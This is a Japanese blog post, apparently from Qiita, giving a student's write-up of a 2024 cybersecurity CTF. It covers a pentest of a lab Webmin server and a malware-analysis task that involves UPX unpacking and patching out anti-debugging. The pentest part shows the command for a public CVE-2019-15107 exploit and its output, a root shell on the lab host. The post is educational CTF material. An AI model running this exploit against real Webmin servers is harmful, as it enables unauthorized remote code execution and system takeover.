1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

FFRI Security x NFLabs. Cybersecurity Challenge For Students 2024 Writeup

Last updated at Posted at 2024-10-05

文字を書くのが苦手なのであまりwriteupを作ったことがありません。めっちゃ丁寧に書いたつもりです。

Pentest

[Easy] WebAdmin

とりあえずやることといえばnmap!
ということでスキャン

nmap -sC -sV {targetIP}

このあたりのオプションをつけるとバージョンやら色々出てきます。
Pasted image 20240919132333.png
空いているポートは22,80,10000
80番はhttpなのでブラウザからアクセス
Pasted image 20240919132448.png
これはnginxというウェブサーバのデフォルトページです。
これ以上は何もわからなそうなので他を調査します。
10000番もhttpと書いてあるのでブラウザから{targetIP}:10000でアクセス
Pasted image 20240919132741.png
こんなログインページが出てきました。
ユーザとパスワードをツールで総当たりすることはペネトレではないイメージなのでadminやrootなど簡単なやつをいくつか試した後に別の方法を模索。
nmapの結果を見るとrobots.txtがあるようです。
robots.txtはページのアクセスに関する情報が記述されています。クローラーはこれを参照して特定のページにアクセスしないようにコントロールします。
とはいうもののアクセスできないわけではありません。
ここにユーザ名とパスワードなどに関する情報があることも考えてアクセス。
{targetIP}:10000/robots.txt
Pasted image 20240919133444.png
なし!
あと考えられるのはバージョン関係による脆弱性。
とりあえずwappalyzerを使って使っているものを確認
Pasted image 20240919133622.png

特に気になるものがなかったので
nmapの結果に出てきたMiniServ 1.920をチェック。
CVEが見つかった。
CVE-2019-15107
Webminに関する脆弱性でRCEができるようです。
PoC(概念検証)をgithubから探す。
https://github.com/MuirlandOracle/CVE-2019-15107

$ python3 CVE-2019-15107.py -p 10000 {targetIP}

シェルをゲットした!
flagは/root/root.txtにあるらしい

$ python3 CVE-2019-15107.py -p 10000 {targetIP}

	__        __   _               _         ____   ____ _____ 
	\ \      / /__| |__  _ __ ___ (_)_ __   |  _ \ / ___| ____|
	 \ \ /\ / / _ \ '_ \| '_ ` _ \| | '_ \  | |_) | |   |  _|
	  \ V  V /  __/ |_) | | | | | | | | | | |  _ <| |___| |___
	   \_/\_/ \___|_.__/|_| |_| |_|_|_| |_| |_| \_\____|_____|

						@MuirlandOracle

		
[+] Connected to http://10.0.102.169:10000/ successfully.
[+] Server version (1.920) should be vulnerable!
[*] Server version relies on expired password changing feature being enabled
[+] Benign Payload executed!

[+] The target is vulnerable and a pseudoshell has been obtained.
Type commands to have them executed on the target.
[*] Type 'exit' to exit.
[*] Type 'shell' to obtain a full reverse shell (UNIX only).

# whoami
root
# cat /root/root.txt
flag{Expl01t_CVE-2019-15107}

Malware Analysis

Flare-VMの環境構築はこちら
https://qiita.com/blend-tea/items/b99148e29ca5d7eeeb25

[Easy] Pack

世の中には実行ファイルの動作を変えることなく難読化ができるツールがあるようです。 表層解析で得られる文字列を見てみると......?

問題名からpacker解除する問題かな~と推測

表層解析

Detect it easyでパッカーチェック
Pasted image 20240919134623.png
UPXですね。
もしここでパッカーの情報が得られなかった場合検体がパックされているかどうかをエントロピーで判断できることがあります。
Pasted image 20240919134807.png

upx -d pack.exe

でパッカーを解除
続いて問題文から「表層解析で得られる文字列を見てみると...?」とあったので文字列を調査
Flare-VMでは右クリックのメニューにStringsがあります。
Pasted image 20240919135059.png
Unicode Stringsが少し気になりますね。flagはなかった。
Pasted image 20240919135138.png
そういえば実行していなかったので実行しましょう
Pasted image 20240919135306.png
フラグチェッカーですね。入力に対して正誤判定をしているあたりシンボリック実行をして解くのかな?
とりあえず静的解析

静的解析

Ghidraで解析
Flagをチェックしている関数をDefinedStringsから探します。
Pasted image 20240919140226(1).png
XREFをダブルクリックすることでこの文字列を使用している箇所にジャンプできます。
ジャンプ先の関数はFUN_00401300
フラグチェックの挙動を見る限りこの関数に指定した引数が分からないと厳しそう。
この関数はFUN_00401170で使用されていることがXREFでわかるのでジャンプ。
Pasted image 20240919140648.png
面倒になったのとシンボリック実行じゃなさそうなのでデバッガで動的解析に移ります。

動的解析

分かりづらいと思うので動画もどうぞです。
https://youtu.be/_5LTJqE801Q
表層解析で出てきたCheat Engine?知らんな。
Binary ninjaを使います。有償ソフトですがFree版でもデバッグできます。
Flare-VMには入っていません。
ファイルを開いたらPlugin→Debugger→RunでEntry pointにとびます。
基本的な使い方は
F2:ブレイクポイント
F7:ステップ実行(call命令実行時関数にジャンプする)
F8:ステップ実行(call命令実行時1つの命令として実行する)
F9:ブレイクポイントまで実行

F7とF8の違いはカッコ内の通りです。
とりあえずステップ実行してみましょう。
image.png
デバッガを検知されたようです。
ということでパッチを当てましょう。
gを押すと指定したアドレスへジャンプできます。0x401490にジャンプしましょう。
image.png
ここにデバッガ検知をしている箇所があります。if文にカーソルを合わせ右クリックするとパッチを当てることができます。
image.png
パッチ適応し実行すると
image.png
image.png
コングラ~

感想

開催期間が長いとはいえ平日はきびいっす。土日も入れてほしかったなぁ。Flare-VMの導入など「これ使うといいよ~」という導入があり優しかった。問題の難易度は優しくないと思うけど。
ジャンルにpentestやmalware analysisがあるのは新鮮で楽しかったです。
人生はじめてFirst Bloodできました。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?